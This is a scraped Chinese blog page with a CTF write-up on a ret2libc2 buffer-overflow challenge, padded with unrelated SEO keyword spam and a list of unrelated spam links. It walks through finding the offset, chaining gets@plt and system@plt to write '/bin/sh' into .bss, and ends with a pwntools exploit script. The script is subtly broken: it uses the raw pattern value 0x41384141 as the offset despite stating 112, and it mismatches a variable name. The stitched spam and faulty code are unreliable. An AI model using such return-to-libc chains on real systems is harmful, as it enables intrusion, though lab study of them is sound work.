当前位置: 首页 > news >正文

站长工具ip地址查询施工企业资质证书哪里下载

站长工具ip地址查询,施工企业资质证书哪里下载,什么是网站推广方案,中小企业网站开发韵茵ret2libc1的略微进阶——存在systemplt但是不存在“/bin/sh”怎么办? 目录 前言 python3 ELF 查看文件信息 strings 查看寻找"/bin/sh" IDA反汇编分析 思路及实现 老规矩,偏移量 offset EXP编写 总结 前言 经过ret2libc1的洗礼&a…

ret2libc1的略微进阶——存在system@plt但是不存在“/bin/sh”怎么办?


目录

前言

python3 ELF 查看文件信息

strings 查看寻找"/bin/sh"

IDA反汇编分析 

思路及实现 

老规矩,偏移量 offset

EXP编写  

总结


前言

经过ret2libc1的洗礼,我们对ret2libc的做题模范有了基本的范式,然而实际的题目远没有如此直白和简单。本题就遇到了一个问题:"/bin/sh"字符串在程序中并不存在,怎么办?

其实很简单:没有我们就自己输入。


因为具体的原理在ret2libc1中已经很详细地讲述了,所以本篇博客主要复现解题过程。

python3 ELF 查看文件信息

好的,重要的信息都有了 


strings 查看寻找"/bin/sh"

说明没有这个字符串,恼 

那我们能不能输入一串字符串"/bin/sh",然后把参数地址放到这里呢?


IDA反汇编分析 

bss段发现buf2,可供我们存字符串。可是也没有输入的函数呀?没关系——shellcode里面加就可以。

别忘了,plt表里面有gets@plt!我们既然可以用一种方法,通过system@plt执行system函数,为什么不可以用gets@plt执行gets函数呢?当然可以!! 


思路及实现 

根据基本ret2libc的思想,我们把溢出栈内容如下构造:

这是需要跳转执行两个函数的情况,基于跳转执行一个函数的情况而来,具体可以看上一篇博客ret2libc1 

简单来说,padding后,函数通过返回地址跳到gets@plt然后经过一系列代码,执行gets函数,gets函数的参数从栈gets_addr的后两个单位找到。这个原理很基础,不赘述。具体看上一篇博客。然后同理跳到system@plt执行system,参数向上找第二个(跨过两个单位,其中一个是callee 的push ebp), 也是buf2_addr。

这样就实现了:没有"/bin/sh",输入就有了;照旧system,参数填"/bin/sh"地址;返回shell


老规矩,偏移量 offset

gdb:peda下,pattern create 300 

然后pattern offset addr 

 

 偏移量112


EXP编写  

from pwn import *io=process("./ret2libc2")offset=0x41384141
system_plt_Addr=0x8048490
gets_plt_addr=0x8048460
buf2_addr=0x804a080payload=b'a'*offset+p32(gets_plt_addr)+p32(system_plt_addr)+p32(buf2_addr)+p32(buf2_addr)io.sendline(payload)
io.sendline('/bin/sh')
io.interactive()

成功获得自己的shell 


总结

从最基本理解原理的ret2libc1,到有点花头的ret2libc2,值得展望的是,比赛的题目,远远难于此。但千里之行始于足下,掌握好这些基础的,掌握好这些原理,才能慢慢深入进阶。

http://www.yayakq.cn/news/829421/

相关文章:

  • 青岛网站建设公司好找吗seo二级目录
  • 做网站店铺图片用什么软件怎么做网站登录站
  • 王磊网络网站建设织梦网站问题
  • 如何自己做解析网站门户网站建设和运行保证的磋商文件
  • 邢台网站制作有哪些php网站开发工程师招聘网
  • 百度推广网站备案wordpress自动转内链
  • 百度小程序跟做网站企业网站只做英文
  • 农庄网站实训网站开发目的
  • 高校招生网站建设做类似淘宝网站多少钱
  • 做h网站风险wordpress置顶文章失效
  • 网站开发 验收周期淘宝优惠券网站开发
  • 普兰店网站建设wordpress网站响应时间
  • 各大中文网站网站 建设ppt
  • 自己做链接网站建站教学视频
  • 如何在网站插做视频wordpress屏蔽广告插件
  • 杭州建设网站设计的公司包头网站设计公司
  • 我的网站模板下载购物类网站建设方案
  • 福永网站设计重庆建设工程交易中心官网
  • 什么网站系统做的最好用j2ee作的网站
  • 北京公司网站制作价格学生个人网页设计作品模板
  • 巩义网站建设指标点太阳伞网络营销策划书
  • 营销网站制作需要多少钱建个网络平台多少钱
  • 深圳网站建设的公嵌入式软件开发工作内容
  • 佛山模板网站建设wordpress一键分享插件
  • 负面信息搜索引擎 网站制作网站找哪个公司好
  • 电商网站平台搭建h5做的网站有哪些
  • 如何更改wordpress后台登陆密码做360网站优化快
  • 旅游网站建设ppt自己的身份已经网站备案了
  • 网站扩展性抖音小程序怎么入驻
  • 微信朋友圈网站广告怎么做做视频给网站到流量